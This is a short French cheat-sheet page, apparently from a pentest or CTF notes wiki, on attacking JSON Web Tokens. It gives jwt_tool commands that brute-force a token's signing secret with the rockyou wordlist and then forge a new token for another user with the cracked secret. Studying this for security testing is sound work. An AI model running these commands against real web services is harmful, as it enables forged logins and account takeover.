[Exploitation/Web] JWT

Introduction

Les **JWT** pour *JSON web tokens* sont des jetons utilisés un peu de la même manière que les cookies qui permettent de gérer l'authentification à une page. Ils sont segmentés en 3 parties séparées par des points :

- Le header.
- Le payload (contenu).
- La signature.

Exploitation

Basique

Une fois connecté avec un utilisateur vous devriez avoir un jeton JWT. Pour l'obtenir, vous pouvez l'intercepter avec Burp.

Ensuite, vous pouvez le modifier grâce au site suivant :

- https://token.dev/

Voici un outil très pratique pour l'exploitation de JWT :

- https://github.com/ticarpi/jwt_tool

Pour lancer un brute force sur la signature pour retrouver le secret :

```
python3 jwt_tool.py
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoiY2l0b3llbiIsImV4cCI6MTc0NzkzNjM1MH0.bRAr9miwEjxU72VPhi
RZU94LCW5JBh2SlbLBZ_ENByA -C -d /usr/share/wordlists/rockyou.txt
```

Pour générer un nouveau token à partir du secret trouvé :

```
./jwt_tool.py
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VyIjoicGFscGF0aW5lIiwiZXhwIjoxNzQ3OTM1OTI4fQ.ss9aaYq766iYwe
bp8_9HouNXMN-QWgCsfaT2oaBo5jw -p "kaitlynn4" -pc user=palpatine -S hs256
```

Revision #4
Created 13 December 2023 18:29:49 by Elieroc
Updated 23 May 2025 07:45:40 by Elieroc